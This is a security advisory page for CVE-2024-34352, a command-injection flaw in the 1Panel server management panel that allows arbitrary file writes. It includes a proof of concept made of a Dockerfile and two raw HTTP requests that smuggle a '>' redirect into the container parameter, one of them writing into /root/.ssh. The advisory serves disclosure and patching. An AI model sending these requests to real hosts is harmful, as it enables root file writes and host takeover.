CVE-2024-34352: Arbitrary file write vulnerability in 1Panel

Published May 9, 2024
·
Updated

Summary There are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs. We can use the following mirror configuration write symbol > to achieve arbitrary file writing

PoC Dockerfile FROM bash:latest

COPY echo.sh /usr/local/bin/echo.sh RUN chmod +x /usr/local/bin/echo.sh CMD ["echo.sh"] echo.sh #!/usr/local/bin/bash echo "Hello, World!" Build this image like this, upload it to dockerhub, and then 1panel pulls the image to build the container Send the following packet, taking care to change the containerID to the malicious container we constructed

GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Ftmp%2F1&since=all&tail=100&follow=true HTTP/1.1 Host: xxxx:42713 Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36 Upgrade: websocket Origin: http://xxx:42713 Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d Sec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA== Then you can write any customized file to, for example, a ssh key, and generally the application is run with root privileges GET /api/v1/containers/search/log?container=6e6308cb8e4734856189b65b3ce2d13a69e87d2717898d120dac23b13b6f1377%3E%2Froot%2F.ssh%2f1&since=all&tail=100&follow=true HTTP/1.1 Host: xxx:42713 Connection: Upgrade Pragma: no-cache Cache-Control: no-cache User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.112 Safari/537.36 Upgrade: websocket Origin: http://xxx:42713 Sec-WebSocket-Version: 13 Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Cookie: psession=88e51389-ddce-468c-a3be-51c5b2cb2d9d Sec-WebSocket-Key: FdXBKFviqO4+LSEoucITLA== Or write a timed task to execute any command. Impact The ability to write arbitrary files on the host where the service is deployed can lead to a host takeover

Other sources

1Panel is an open source Linux server operation and maintenance management panel. Prior to v1.10.3-lts, there are many command injections in the project, and some of them are not well filtered, leading to arbitrary file writes, and ultimately leading to RCEs. The mirror configuration write symbol > can be used to achieve arbitrary file writing. This vulnerability is fixed in v1.10.3-lts.

MITRE

Affected Software

2 affected componentsFixes available
go/github.com/1Panel-dev/1Panel<1.10.3-lts
1.10.3-lts
FIT2CLOUD 1Panel<1.10.3-lts

Event History

May 9, 2024
CVE Published
via MITRE·02:38 PM
Data Sourced
via MITRE·02:38 PM
DescriptionSeverityWeakness
Advisory Published
via GitHub·03:14 PM
May 14, 2024
Data Sourced
via NVD·03:38 PM
DescriptionSeverityWeaknessAffected Software
Free Weekly Intel

Don't miss critical vulnerabilities

Join thousands of security professionals who receive our weekly digest of trending CVEs, zero-days, and exploited vulnerabilities.

No spam. Unsubscribe anytime.

Frequently Asked Questions

1

What is the severity of CVE-2024-34352?

CVE-2024-34352 is a high severity vulnerability due to its potential to allow remote code execution through command injection.

2

How do I fix CVE-2024-34352?

To fix CVE-2024-34352, update to the latest version of the affected software 1Panel, specifically 1.10.3-lts or later.

3

What types of attacks can CVE-2024-34352 facilitate?

CVE-2024-34352 can facilitate arbitrary file writes and remote code execution attacks.

4

Which versions of 1Panel are affected by CVE-2024-34352?

All versions of 1Panel prior to 1.10.3-lts are affected by CVE-2024-34352.

5

Who is impacted by CVE-2024-34352?

Organizations using affected versions of the 1Panel software are impacted by CVE-2024-34352.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203